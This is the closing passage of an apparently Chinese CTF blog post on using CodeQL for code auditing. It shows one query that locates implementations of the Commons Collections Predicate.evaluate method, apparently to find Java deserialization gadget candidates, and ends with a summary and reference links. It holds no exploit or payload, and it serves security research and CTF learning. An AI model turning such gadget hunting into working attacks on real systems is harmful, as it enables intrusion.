https://mp.weixin.qq.com/s/SVPNzPE2Vos1VVGKOwGWeA

第五个点大概看了没有什么利用的地方。

import java

class PredicateCallable extends Callable {
  PredicateCallable() {
    getName().matches("evaluate") and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") and
    fromSource() and
    getNumberOfParameters()=1
  }
}

from PredicateCallable c
select c,c.getBody(),c.getDeclaringType()

总结

通过CodeQL,确实可以在代码审计中提高了审计速度和避免人工查找时因马虎而遗漏的一些关键点。同学们下次打CTF时,不妨尝试下CodeQL,看看能否更快地拿到flag。

关于CodeQL在CTF的代码审计的应用,笔者只是浅尝辄止,希望能通过本文,引发更多师傅对CodeQL在CTF上的更多尝试。欢迎师傅们交流讨论。

参考链接

https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md

https://codeql.github.com/codeql-standard-libraries/java/

https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/

https://tttang.com/archive/1570/

https://tttang.com/archive/1415/

https://xz.aliyun.com/t/10707